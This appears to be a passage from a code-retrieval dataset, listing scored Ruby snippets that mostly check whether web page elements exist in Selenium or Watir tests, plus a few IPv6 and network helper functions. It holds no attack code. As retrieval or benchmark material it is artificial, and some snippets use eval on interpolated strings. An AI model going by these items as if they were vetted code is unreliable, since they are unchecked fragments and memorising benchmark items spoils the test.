"title": "" }, { "docid": "0a5919775927a081db3ef3ee9067826c", "score": "0.5682488", "text": "def ipv6?\n options[:ipv6]\n end", "title": "" }, { "docid": "885e262ab2652ad1ca7c44617cf0ceaf", "score": "0.56758976", "text": "def next_available_ipv6(opts = {})\n v6_blocks = ip_blocks(opts).select do |ip_block|\n ip_block.version == 6\n end\n\n # Assume only 1 IPv6 block exists per account per location\n v6_block = v6_blocks.first\n\n return nil unless v6_block\n\n hex = [SecureRandom.hex(2)[0..3], SecureRandom.hex(2)[0..3]]\n\n v6_block.cidr_obj.ip(:Short => true) + hex.join(':')\n end", "title": "" }, { "docid": "72c36e0123aac002ee688e312ec409aa", "score": "0.5667504", "text": "def ip_v6_cidr\n \"#{ip_v6_address}/#{rand(1..127)}\"\n end", "title": "" }, { "docid": "371790270deb5c00c558ab141d03cd78", "score": "0.56627876", "text": "def network_interfaces\n [].tap do |network_interfaces|\n xml.xpath('domain/devices/interface[@type=\"network\"]').each do |node|\n network_interfaces << NetworkInterface.new(node, self)\n end\n end\n end", "title": "" }, { "docid": "4d04c2db2dcb683a045d75b16e6dd7fb", "score": "0.56597704", "text": "def email_addresses\n return @email_addresses\n end", "title": "" }, { "docid": "0b5280eee1a0738ed2cc87e28aca0e11", "score": "0.565412", "text": "def get_ip(domain, v6_included=false)\n query_a = @core.query(domain, 'A')\n query_aaaa = @core.query(domain, 'AAAA') if v6_included\n answer = query_a.answer\n answer << query_aaaa.answer if v6_included\n ips = []\n answer.flatten.each do |ans|\n ips << ans.address.to_s unless ans.type == 'RRSIG' or ans.type == 'CNAME'\n end\n\n ips\n end", "title": "" }, { "docid": "93bf1322aade2d44551e04d8422bde7a", "score": "0.5653274", "text": "def tab_complete_source_address\n addresses = [Rex::Socket.source_address]\n # getifaddrs was introduced in 2.1.2\n if ::Socket.respond_to?(:getifaddrs)\n ifaddrs = ::Socket.getifaddrs.select do |ifaddr|\n ifaddr.addr && ifaddr.addr.ip?\n end\n addresses += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }\n end\n addresses\n end", "title": "" }, { "docid": "3f8c659a38ac6d408ac81200a3e9d59c", "score": "0.5633184", "text": "def is_routeable_ipv6?(subnet, netmask)\n if netmask == 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'\n return false\n elsif subnet =~ /^fe80::/ # Link-Local Subnet\n return false\n elsif subnet =~ /^fe02::/ # Interior Multicast\n return false\n elsif subnet =~ /^fe01::/ # Exterior Multicast\n return false\n elsif subnet == '::' # Default Route\n return false\n end\n return true\n end", "title": "" } ]
16984f4a2efc9ce881d09ba73044ea3e
Check a HTML element exists or not Example: assert_exists("label", "receipt_date") assert_exists(:span, :receipt_date)
[ { "docid": "de0364378a3ff3d0c30614e7759b1a22", "score": "0.68796957", "text": "def assert_exists(tag, element_id) {}\n begin\n assert eval(\"#{tag}(:id, '#{element_id.to_s}').exists?\")\n rescue => e\n raise \"Element '#{tag}' with id: '#{element_id}' not found, #{e}\"\n end\n end", "title": "" } ]
[ { "docid": "5f67f573d73b07e0f911d43ef58d34e6", "score": "0.7284667", "text": "def existence_check\n raise Bewildr::ElementDoesntExist unless exists?\n end", "title": "" }, { "docid": "f3c84449439ebb505772610edddd89ef", "score": "0.7190533", "text": "def element_exists? locator\n has_selector? locator\n end", "title": "" }, { "docid": "2c10a9ad6fa3bb363d4c9b3fb40a4812", "score": "0.715546", "text": "def assert_exists\n locate unless located?\n return if located?\n\n raise unknown_exception, \"unable to locate element: #{inspect}\"\n end", "title": "" }, { "docid": "4f939f8ea8950b2603ab1091cc58ea26", "score": "0.7148018", "text": "def assert_exists\n @element = locate\n end", "title": "" }, { "docid": "1cddaee0ad31bbaf81fe48becf2208b5", "score": "0.70181525", "text": "def element_exists(find_by, element)\n result = false\n begin\n case find_by.to_s.downcase.strip\n when 'xpath' then\n element = find(:xpath, element, wait: 60)\n result = true\n when 'xpath_first' then\n element = first(:xpath, element, wait: 60)\n result = true\n when 'id'\n element = find(\"##{element}\", wait: 60)\n result = true\n when 'class'\n element = find(\"#{element}\", wait: 60)\n result = true\n when 'css_first'\n element = first(:css , \"#{element}\", wait: 60)\n result = true\n when 'span'\n element = find('span', text: element, wait: 60)\n result = true\n when 'h3'\n element = find('h3', text: element, wait: 60)\n result = true\n else\n Info.basic_error \"generic::element_exists - Parámetro #{find_by} inválido\"\n end\n rescue Capybara::ElementNotFound\n result = false\n rescue => exception\n #puts \"element_exists => Exception al buscar el elemento #{element}\" #\\n #{exception.backtrace}\"\n result = false\n end\n if !result\n #puts \"element_exists => Elemento o vista no visible => #{element}\"\n end\n return result\nend", "title": "" }, { "docid": "32c83fe661dec8cbaaa45dc7a3222992", "score": "0.7016643", "text": "def assert_exists(tag, element_id)\r\n\t\t\tif RWebSpec.framework == \"Watir\"\r\n \tperform_assertion { assert(eval(\"#{tag}(:id, '#{element_id.to_s}').exists?\"), \"Element '#{tag}' with id: '#{element_id}' not found\") }\t\t\r\n\t\t\telse\r\n\t\t\t\tperform_assertion { assert( @web_browser.driver.find_element(:tag_name => tag, :id => element_id))}\r\n\t\t\tend\r\n\t\t\r\n end", "title": "" }, { "docid": "b08d5ae04b66a8405c618346a188efbb", "score": "0.6994958", "text": "def element_exist?(element)\n check_page(get_body_text())\n @driver.element_exist?(element)\n end", "title": "" }, { "docid": "b5a5c7589037d5c7e5e04949ca7e48f7", "score": "0.69780296", "text": "def exists?(locator)\n @driver.find_element(locator).size\n true\n rescue\n false\n end", "title": "" }, { "docid": "b4bd67689d5009c04a082284fb4bd134", "score": "0.6892577", "text": "def element_exist?(element)\n if !@selenium.is_element_present(element)\n return false\n end\n return true\n end", "title": "" }, { "docid": "e486efa7b29ae0e332dde6148d202f1a", "score": "0.6884164", "text": "def element_should_be_present(key)\n wait_for_elements_exist(get_element_locator(key))\n end", "title": "" }, { "docid": "ac0029a31336d98b40a959929c161e29", "score": "0.68449664", "text": "def verifySignEventLabel\n # assert element_present?(:xpath, \"//*[@id='body']/div[3]/nav/a[2]/div\")\n end", "title": "" }, { "docid": "1ad5b6df5462171a1ed01aab4b7c7eed", "score": "0.6839704", "text": "def has_element?(key)\n element = get_element_locator(key)\n # wait_for_element_exists(element)\n element_exists(element)\n end", "title": "" }, { "docid": "76e7231bc259931bd9940bb4168266a1", "score": "0.67736995", "text": "def assertElementPresent(element, error_message = \"Failed to locate element \" + element)\r\n assert browser.element?(element), error_message\r\n end", "title": "" }, { "docid": "7ac3c98c884a5d26579d410bfa878b32", "score": "0.670629", "text": "def check_exists(timeout=::PageObject.default_element_wait)\n timed_loop(timeout) do |element|\n element.exists?\n end\n end", "title": "" }, { "docid": "7ac3c98c884a5d26579d410bfa878b32", "score": "0.670629", "text": "def check_exists(timeout=::PageObject.default_element_wait)\n timed_loop(timeout) do |element|\n element.exists?\n end\n end", "title": "" }, { "docid": "fd6dffbeda958e01f27c96a21beddcfe", "score": "0.6701583", "text": "def create_existence_checker element_name, element_locator\n method_name = \"has_#{element_name.to_s}?\"\n if element_locator.nil?\n define_method method_name do\n raise SitePrism::NoLocatorForElement.new(\"#{self.class.name} => :#{element_name} needs a locator\")\n end\n else\n define_method method_name do\n Capybara.using_wait_time 0 do\n element_exists? element_locator\n end\n end\n end\n end", "title": "" }, { "docid": "c2d36f638c09d5aacbd84ed4c79d8c5f", "score": "0.670094", "text": "def exists?\n @element.exists?\n end", "title": "" }, { "docid": "3b260e4431214a979e5b855a25352ec6", "score": "0.6684797", "text": "def check_element_presence(access_type, access_name, test_case)\n\tif test_case\n\t\tif !is_element_displayed(access_type,access_name)\n\t\t\traise TestCaseFailed ,\"Element Not Present\"\n\t\tend\n\telse\n\t\tbegin\n\t\t\tif is_element_displayed(access_type,access_name)\n\t\t\t\traise \"Present\"\t\n\t\t\tend\n\t\trescue Exception => e\n\t\t\tif e.message==\"present\"\n\t\t\t\traise TestCaseFailed ,\"Element Present\"\n\t\t\tend\n\t\tend\n\tend\nend", "title": "" }, { "docid": "c02c3dcd31a851565117f0a5dc8ce3b3", "score": "0.66740847", "text": "def is_element_present(locator)\n if find_element(:xpath, locator)\n return true\n end\n rescue Selenium::WebDriver::Error::NoSuchElementError\n return false\n rescue Selenium::WebDriver::Error::UnexpectedJavascriptError\n return false\n rescue Selenium::WebDriver::Error::WebDriverError\n return false\n end", "title": "" }, { "docid": "82266161370612fc04ef6d913dc46fb7", "score": "0.66688097", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "aa6a21070c62a002241e0000f8663308", "score": "0.66304094", "text": "def verify_dom_elements\r\n add_existence_checker(:country_select, id: \"person_country\")\r\n add_existence_checker(:continue_btn, css: \"input.img-button\")\r\n end", "title": "" }, { "docid": "6595778106843c37461a260da9c1fa16", "score": "0.66261786", "text": "def element_validation(field)\n\twait_for_elements_exist( [\"* id:'#{field}'\"], :timeout => 5)\n if element_exists(\"* id:'#{field}'\") == true then \n\t\tputs \"User can see the fields\"\n else\n screenshot_and_raise \"No element found for the given fields\"\n end\nend", "title": "" }, { "docid": "def1dc82543963cee1ab4a77ff7c90bb", "score": "0.6601838", "text": "def element_exist?(element)\n this_element = get_element(element)\n out=\"-- does element exist ?: {\" + element + \"}\"\n if !this_element\n @suite.p(out + \" :: no\\n\")\n return false\n end\n @suite.p(out + \" :: yes\\n\")\n return true\n end", "title": "" }, { "docid": "cebcbadec5e23d7184b03c45bc6630dc", "score": "0.6601264", "text": "def element_exist?(element)\n out=\"-- does element exist ?: {\" + element + \"}\"\n if !@selenium.is_element_present(element)\n @suite.p(out + \" :: no\\n\")\n return false\n end\n @suite.p(out + \" :: yes\\n\")\n return true\n end", "title": "" }, { "docid": "319d2f6cbe04062dab0e0894a759366e", "score": "0.65747255", "text": "def is_exist?(locator)\n @driver.find_element(locator[1]).displayed?\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n rescue Selenium::WebDriver::Error::TimeoutError\n false\n end", "title": "" }, { "docid": "6a6ebb90be973f165eb71fdc47ce1837", "score": "0.6555958", "text": "def is_element_present(locator)\n return get_boolean(\"isElementPresent\", [locator,])\n end", "title": "" }, { "docid": "2f4d2232bfda617688b0b2b40f959842", "score": "0.6555802", "text": "def check_exist(timeout=Druid.default_element_wait)\n timed_loop(timeout) do |element|\n element.exists?\n end\n # wait_until(timeout: timeout, &:exist?)\n end", "title": "" }, { "docid": "75eb1ed74b32add153284e1e74f7a46e", "score": "0.65468335", "text": "def check_element_present(selector, element_path)\n\n # Change the element locator wait to 5 seconds\n @browser.driver.manage.timeouts.implicit_wait = 5\n\n # Return the total count of elements\n element_found = @browser.elements(selector.to_sym, element_path).count\n\n if element_found > 0\n element_found = true\n else\n element_found = false\n end\n\n # Set back the default element locator timeout defined in hooks.rb file\n @browser.driver.manage.timeouts.implicit_wait = @@IMPLICIT_WAIT\n\n element_found\nend", "title": "" }, { "docid": "34cea0c22cab88adc6c4238281a83b92", "score": "0.6541882", "text": "def assert_element_present(locator, params = {})\n params = {:message => \"Expected element '#{locator}' to be present, but it was not\"}.merge(params)\n wait_for(params) do\n selenium.is_element_present(locator)\n end\n end", "title": "" }, { "docid": "25ac37f8c81a7cb2db973cbd6b65e9c7", "score": "0.6534029", "text": "def element_exists?(*find_args)\n kwargs = find_args.pop\n page.has_selector?(*find_args, **kwargs)\n end", "title": "" }, { "docid": "9bd6ff3103fe6427cf09b26e5a2642b5", "score": "0.6530381", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n \t\trescue Selenium::WebDriver::Error::NoSuchElementError\n false\n\tend", "title": "" }, { "docid": "6fed7bc43175b98ba56d24394071b28e", "score": "0.652858", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "6fed7bc43175b98ba56d24394071b28e", "score": "0.652858", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "6fed7bc43175b98ba56d24394071b28e", "score": "0.652858", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "6fed7bc43175b98ba56d24394071b28e", "score": "0.652858", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "6fed7bc43175b98ba56d24394071b28e", "score": "0.652858", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "6fed7bc43175b98ba56d24394071b28e", "score": "0.652858", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "6fed7bc43175b98ba56d24394071b28e", "score": "0.652858", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "6fed7bc43175b98ba56d24394071b28e", "score": "0.652858", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "ca2341608e4b130285f6af45d5d92ff6", "score": "0.65004516", "text": "def element_exists(type, element)\n elem = query(type, element)\n elem.displayed?\n end", "title": "" }, { "docid": "09da28c9f5ffb04fd58723993e46cfa2", "score": "0.64806724", "text": "def assert_exists_visible(element, message)\r\n\r\n # TODO take parameters for fast_fail\r\n current_url = LynxAutoHelper.get_browser_instance.url\r\n\r\n element_exists = element.exists?\r\n\r\n puts \"From 'assert_exists_visible method, for #{message}, element_exists: #{element_exists}\"\r\n #begin\r\n assert_equal(true, element_exists, \"Existence of the element #{message} on the browser page: #{current_url}\")\r\n #rescue MiniTest::Assertion => mta\r\n # puts mta.message\r\n # puts mta.backtrace\r\n #end\r\n\r\n #begin\r\n element_visible = element.visible?\r\n assert_equal(true, element_visible, \"Visible setting of the element #{message} on the browser page: #{current_url}\")\r\n #rescue MiniTest::Assertion => mta\r\n # puts mta.message\r\n # puts mta.backtrace\r\n #end\r\n\r\n end", "title": "" }, { "docid": "7a72aad4859ab80063e9347932a0137f", "score": "0.64723897", "text": "def exists?(wait=false)\n begin\n obj = find_element(self, @parent_element, wait)\n rescue DATPages::Errors::ElementNotFound\n false\n end\n obj != nil\n end", "title": "" }, { "docid": "befd1ae8c3b409aad1f89b7366ce3af8", "score": "0.64719415", "text": "def is_element_present(how,what)\n begin\n @driver.find_element(how,what)\n return true\n rescue\n return false \n end\n end", "title": "" }, { "docid": "7018a4955a2f24d242f26406980421c4", "score": "0.6467832", "text": "def is_element_present?(locator, options={:visible => true})\n Capybara.default_max_wait_time = 3\n if page.has_selector?(locator, options)\n begin\n return true\n ensure\n Capybara.default_max_wait_time = 40\n end\n else\n return false\n end\n end", "title": "" }, { "docid": "1fff30de54dfe48eb15e13bf9b7780f2", "score": "0.6447296", "text": "def assertElementNotPresent(element, error_message = \"Expected to not locate element \" + element)\r\n assert !browser.element?(element), error_message\r\n end", "title": "" }, { "docid": "c5f86d48070b585d4624445169daa748", "score": "0.6436472", "text": "def check_element_present(selector, element_path)\r\n\r\n # Change the element locator wait to 5 seconds\r\n @browser.driver.manage.timeouts.implicit_wait = 5\r\n\r\n # Return the total count of elements\r\n element_found = @browser.elements(selector.to_sym, element_path).count\r\n\r\n if element_found > 0\r\n element_found = true\r\n else\r\n element_found = false\r\n end\r\n\r\n # Set back the default element locator timeout defined in hooks.rb file\r\n @browser.driver.manage.timeouts.implicit_wait = @@IMPLICIT_WAIT\r\n\r\n element_found\r\nend", "title": "" }, { "docid": "f1b5b9692ef75a5a58e166af55e595a1", "score": "0.6406231", "text": "def assert_score_card_exists\r\n\r\n score_card_content_div_exists = get_div_by_id(ElementNames::SCORE_CARD_CONTENT_DIV_ID).exists?\r\n assert_message = 'Existence of score card that is expected to contain the information about the profile'\r\n assert_equal(true, score_card_content_div_exists, assert_message)\r\n\r\n end", "title": "" }, { "docid": "713800b2dcbb05018df70949b40feeba", "score": "0.6375951", "text": "def element_does_not_exist?(*find_args)\n kwargs = find_args.pop\n page.has_no_selector?(*find_args, **kwargs)\n end", "title": "" }, { "docid": "d7cd1c5fb42aa65aae0378fad8e8d520", "score": "0.63456416", "text": "def is_element_present(element_id_type, element_id_value)\n begin\n if is_element_displayed(element_id_type, element_id_value)\t # selenium-cucumber api which essentially does the following # WAIT.until{ $driver.find_element(:\"#{element_id_type}\" => \"#{element_id_value}\")\n return true\n end\n rescue Exception => e\n if e.message.include?(\"Unable to locate element\") || e.message.include?(\"no such element\") || e.message.include?(\"timed out after 30 seconds\")\t# Each browser throws a different error when an element is not found. Checking not found scenario for each Chrome, FF & IE11\n return false\n else\n puts e.message\n puts \"Unexpected error or webdriver session timed out. Refer to captured exception text.\"\n raise TestCaseFailed, 'Unexpected error.'\n return false\n end\n end\nend", "title": "" }, { "docid": "74b00233e461af726395867c271e2c43", "score": "0.63392645", "text": "def element_present?(how, what)\n @driver.find_element(how, what)\n true\n rescue Selenium::WebDriver::Error::NoSuchElementError\n false\n end", "title": "" }, { "docid": "c978ce1356cf23a9c48c2fd015631473", "score": "0.633481", "text": "def check_if_element_exists(*args)\r\n begin\r\n how = args[0]\r\n what =args[1]\r\n timeout = args[2]\r\n msg=\"\"\r\n override= false\r\n if (how.is_a? String)\r\n nLookup = get_element_from_navigation2(how,what)\r\n how = nLookup[0]\r\n what = nLookup[1]\r\n end\r\n if args.size >=4\r\n msg= args[3]\r\n end\r\n if args.size >=5\r\n override =args[4]\r\n end\r\n\r\n @driver.manage.timeouts.implicit_wait = timeout\r\n wait = Selenium::WebDriver::Wait.new(:timeout => timeout)\r\n cb = wait.until {\r\n element = @driver.find_element(how , what)\r\n element if element.enabled?\r\n }\r\n\r\n\r\n\r\n #cb.click\r\n if cb.enabled?\r\n if @@debug==1\r\n @util.logging(\"--> #{msg} exists ---->#{what} of type #{how}\")\r\n\r\n # @util.logging(\"--> Element #{msg} exists\")\r\n end\r\n else\r\n return check_override(override,\"--> #{msg} was not displayed---->#{what} of type #{how} \")\r\n end\r\n return 1\r\n rescue Selenium::WebDriver::Error::NoSuchElementError\r\n @util.logging \"--> #{msg} was not displayed---->#{what} of type #{how} \"\r\n return check_override(override,\"--> #{msg} was not displayed---->#{what} of type #{how} \")\r\n rescue Selenium::WebDriver::Error::UnknownError\r\n @util.logging \"--> #{msg} was not displayed---->#{what} of type #{how} \"\r\n return check_override(override,\"--> #{msg} was not displayed---->#{what} of type #{how} \")\r\n rescue Selenium::WebDriver::Error::TimeoutError\r\n @util.logging \"--> #{msg} was not displayed---->#{what} of type #{how} \"\r\n return check_override(override,\"---> #{msg} was not displayed---->#{what} of type #{how} \")\r\n end\r\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.6307662", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.6307662", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.6307662", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.6307662", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.6307662", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "1c40e5a42699ebb6be9a6fc23e4f80bf", "score": "0.6279989", "text": "def when_not_exists(locator, timeout)\n wait_until(timeout) { !element(locator) }\n end", "title": "" }, { "docid": "6725d71ded8a2ae4e6078ca152e44c77", "score": "0.627768", "text": "def page_should_contain_element(loc)\n raise(Exception::ElementDoesNotExist, \"The element described by #{loc} is not contained within the page:\\n#{@browser.html}\") unless\n @browser.element(parse_location(loc)).exists?\n end", "title": "" }, { "docid": "fd9637a77b6fe1a3d70b0acffca56db1", "score": "0.62587816", "text": "def assert_element_not_present(locator)\n wait_for(:message => \"Expected element '#{locator}' not to be present, but it was\") do\n !selenium.is_element_present(locator)\n end\n end", "title": "" }, { "docid": "d178e231c6ed8a80108af4fabbb0af13", "score": "0.62567383", "text": "def visible?\n calabash_proxy.when_element_exists(selector, timeout: 5, action: lambda { return true })\n rescue\n false\n end", "title": "" }, { "docid": "4fbb1884dee8add7f727342207f43b09", "score": "0.62542665", "text": "def has_element?(name)\n !@xml_node.nil? && @xml_node.select_nodes(\"#{name}\").count > 0\n end", "title": "" }, { "docid": "1a3f98f7163da4b548224220bd9db8a7", "score": "0.62540245", "text": "def element_present?(how, what)\r\n begin\r\n @driver.find_element(how, what)\r\n true\r\n rescue Selenium::WebDriver::Error::NoSuchElementError\r\n @util.logging \"1 Failed find element for #{how} and #{what}\"\r\n false\r\n rescue Selenium::WebDriver::Error::ElementNotVisibleError\r\n @util.logging \"2 Failed find element for #{how} and #{what}\"\r\n false\r\n\r\n else\r\n #logging \"3 Failed find element for #{how} and #{what}\"\r\n true\r\n end\r\n end", "title": "" }, { "docid": "6ad0e0199a5fdcff0f5264fc47a77838", "score": "0.62482834", "text": "def verifyElementPresent(element, error_message = \"Failed to locate element \" + element)\r\n verify(lambda { assertElementPresent(element, error_message) })\r\n end", "title": "" }, { "docid": "41e4404d697ac88514f806e25162e573", "score": "0.6224103", "text": "def assert_element_present(how, what)\n @driver.find_element(how, what)\n end", "title": "" }, { "docid": "c0d901b2744ecf48b7fff01747acc053", "score": "0.6216151", "text": "def label_by_text_exists(label_text)\n return @browser.label(:text, label_text).exist?\nend", "title": "" }, { "docid": "ef0e42c8d78e780a708378e0a67e7a94", "score": "0.618685", "text": "def page_should_not_contain_element(loc)\n raise(Exception::ElementExists, \"The element described by #{loc} is erroneously contained within the page:\\n#{@browser.html}\") if\n @browser.element(parse_location(loc)).exists?\n end", "title": "" }, { "docid": "8b9d8a4ebd0123ffb5423e49d1771427", "score": "0.6185546", "text": "def assert_element_present element_locator\r\n command 'assertElementPresent', element_locator\r\n end", "title": "" }, { "docid": "04ac6acf05cc92b5d305bfe6fa4a5876", "score": "0.6170915", "text": "def elements_present?\r\n begin\r\n present = (self.search_input_element.present? and self.satellite_element.present?)\r\n rescue Selenium::WebDriver::Error::UnknownError\r\n present = false\r\n end\r\n present\r\n end", "title": "" }, { "docid": "88e7feb128412130c909a280d3d52429", "score": "0.61673903", "text": "def check_if_element_not_exist(*args)\r\n begin\r\n how = args[0]\r\n what =args[1]\r\n timeout = args[2]\r\n msg=\"\"\r\n override= false\r\n if args.size >=4\r\n msg= args[3]\r\n end\r\n if args.size >=5\r\n override =args[4]\r\n end\r\n\r\n @driver.manage.timeouts.implicit_wait = timeout\r\n wait = Selenium::WebDriver::Wait.new(:timeout => timeout)\r\n cb = wait.until {\r\n element = @driver.find_element(how , what)\r\n element if element.enabled?\r\n }\r\n\r\n if cb.enabled?\r\n if @@debug==1\r\n check_override(override,\"--> Element #{msg} is displayed and should NOT be -->identifier #{what} of type #{how}\")\r\n @util.logging(\"#{overide} --> Element #{msg} is displayed and should NOT be -->identifier #{what} of type #{how}\")\r\n end\r\n else\r\n return false\r\n end\r\n return false\r\n rescue Selenium::WebDriver::Error::NoSuchElementError\r\n return true\r\n rescue Selenium::WebDriver::Error::UnknownError\r\n\r\n return true\r\n rescue Selenium::WebDriver::Error::TimeoutError\r\n return true\r\n else\r\n\r\n end\r\n end", "title": "" }, { "docid": "ce22490180d1014a657f165132ff3a01", "score": "0.6166052", "text": "def when_not_present(timeout = ::PageObject.default_element_wait)\n wait = Object::Selenium::WebDriver::Wait.new(timeout: timeout, message: \"Element still present in #{timeout} seconds\")\n wait.until do\n not_present = false\n begin\n not_present = false if root && root.displayed?\n rescue Selenium::WebDriver::Error::ObsoleteElementError\n not_present = true\n end\n not_present\n end\n end", "title": "" }, { "docid": "3a64082b6f0dd52798c201fd17570cd6", "score": "0.61625516", "text": "def assert_for_uielement_exist(uielement, timeout = nil, msj_error = nil)\r\n element = uielement.to_s.strip\r\n result = false\r\n #if timeout is not sent by default, 5 is sent\r\n timeout = timeout.nil? ? 1 : timeout.to_i\r\n start = Time.new\r\n\r\n while (start.to_i + timeout.to_i) > Time.new.to_i\r\n if element_exists(element)\r\n #puts \"element exist => #{element}\"\r\n result = true\r\n break\r\n end\r\n end\r\n\r\n unless result\r\n raise(\"assert_for_uielement_exist => TimeOut al buscar: #{element}. \\n#{msj_error}\")\r\n end\r\n\r\n return result\r\n\r\nend", "title": "" }, { "docid": "79305d342dddd37d41ad760479181839", "score": "0.6147156", "text": "def test_table_existence\r\n assert @wait.until {\r\n @browser.find_element(:id, \"booktable\").displayed?\r\n }\r\n end", "title": "" }, { "docid": "de64aed3792b73265a7e624cbec5700b", "score": "0.6143529", "text": "def exists\n if($browser.a(:text => \"Check the status of any order\").exist? && $browser.a(:text => \"Update your credit card details\").exist?)\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "a552f4093b4eb12d972d3984deae6966", "score": "0.61297756", "text": "def wait_until_exists(seconds = nil)\n wait(seconds){exists?}\n rescue\n raise DATPages::Errors::ElementNotFound.new\n end", "title": "" }, { "docid": "6f5af80d659c175538f81b1bdf42b590", "score": "0.6128462", "text": "def verify_element_not_present element_locator\r\n command 'verifyElementNotPresent', element_locator\r\n end", "title": "" }, { "docid": "05f4b6f1346bd435189a6dab3e397d18", "score": "0.61238325", "text": "def check_if_exist(how,what,time)\r\n begin\r\n @driver.manage.timeouts.implicit_wait = time\r\n\r\n element =@driver.find_elements(how , what)\r\n if element.length >=1\r\n #Update this to check the the first element of the array is displayed...... duh this is a find elements\r\n # element.displayed?\r\n true\r\n @driver.manage.timeouts.implicit_wait = 120\r\n else\r\n false\r\n end\r\n rescue Selenium::WebDriver::Error::NoSuchElementError\r\n @util.logging \"1 Failed find element for #{how} and #{what} \"\r\n @driver.manage.timeouts.implicit_wait = 120\r\n false\r\n rescue Selenium::WebDriver::Error::UnknownError\r\n @util.logging \"2 Failed find element for #{how} and #{what}\"\r\n @driver.manage.timeouts.implicit_wait = 120\r\n false\r\n end\r\n end", "title": "" }, { "docid": "6a0e0778b0d66c55a10bec6a73ab13f9", "score": "0.6113595", "text": "def present?\n assert_exists\n @element.displayed?\n rescue UnknownObjectException, UnknownFrameException\n false\n rescue Selenium::WebDriver::Error::StaleElementReferenceError\n reset!\n retry\n end", "title": "" }, { "docid": "89daaf0c0bf3b64b658cda9d1affb50f", "score": "0.6107825", "text": "def elem_exist?(meth = {}, elem = {})\n rescue_exceptions { @driver.find_element(meth, elem)}\nend", "title": "" }, { "docid": "2e76837e70316ccdac58c94fee99aa08", "score": "0.61011255", "text": "def element?(locator)\n boolean_command \"isElementPresent\", [locator,]\n end", "title": "" }, { "docid": "7311dc29f3d6dac7ae0b58ef0cb8fa8d", "score": "0.6076078", "text": "def assert_profile_summary_hr_exists\r\n\r\n profile_summary_header_exists = get_profile_summary_header.exists?\r\n assert_message = \"Existence of the header with id: #{ElementNames::PROFILE_SUMMARY} that is expected to contain the profile summary\"\r\n assert_equal(true, profile_summary_header_exists, )\r\n\r\n # TODO Verify the child count of the profile summary header to make sure it is not empty\r\n\r\n end", "title": "" }, { "docid": "c451f48fddf939efe00acb7921f5b29a", "score": "0.6068808", "text": "def exists?\n assert_exists\n true\n rescue Exception\n false\n end", "title": "" }, { "docid": "e5301bf33f93b7c62557e3f6abe6733e", "score": "0.60665774", "text": "def element_should_be_present(loc)\r\n begin\n return $browser.element(parse_location(loc)).visible?\r\n rescue Exception => e\r\n return false\r\n end\n end", "title": "" }, { "docid": "bdf24145d2ef72618cb4f544b53f8d28", "score": "0.6049774", "text": "def verifyElementNotPresent(element, error_message = \"Expected to not locate element \" + element)\r\n verify(lambda { assertElementNotPresent(element, error_message) })\r\n end", "title": "" }, { "docid": "874c9891b142628fec36ab29a3f787f3", "score": "0.60495335", "text": "def assert_no_element(selector, msg=nil)\n assert !browser.element?(\"jquery=#{selector}\"),\n msg || \"Element '#{selector}' was found on page but shouldn't be\"\n end", "title": "" }, { "docid": "f7ff5467b32f1e7bd90ae052bef184ec", "score": "0.6046101", "text": "def check_if_element_exists_get_element_text(*args)\r\n begin\r\n how = args[0]\r\n what =args[1]\r\n timeout = args[2]\r\n if (how.is_a? String)\r\n nLookup = get_element_from_navigation2(how,what)\r\n how = nLookup[0]\r\n what = nLookup[1]\r\n end\r\n msg=\"\"\r\n override= false\r\n\r\n if args.size >=4\r\n msg= args[3]\r\n end\r\n if args.size >=5\r\n override =args[4]\r\n end\r\n\r\n if args.size >=6\r\n whatReplacement= args[5]\r\n what = what.gsub(\"~placeholder~\",whatReplacement)\r\n end\r\n\r\n @driver.manage.timeouts.implicit_wait = timeout\r\n wait = Selenium::WebDriver::Wait.new(:timeout => timeout)\r\n cb = wait.until {\r\n element = @driver.find_element(how , what)\r\n element if element.displayed?\r\n }\r\n\r\n\r\n\r\n #cb.click\r\n if cb.displayed?\r\n if @@debug==1\r\n @util.logging(\"--> Verified #{msg} exists with text \\n #{cb.text} ---->#{what} of type #{how} \")\r\n return cb.text\r\n # @util.logging(\"--> Element #{msg} exists\")\r\n end\r\n else\r\n return check_override(override,\"--> Not Displayed #{msg} #{what} of type #{how}\")\r\n end\r\n\r\n rescue Selenium::WebDriver::Error::NoSuchElementError\r\n @util.logging \"#{what} of type #{how} is not displayed- #{msg}\"\r\n return 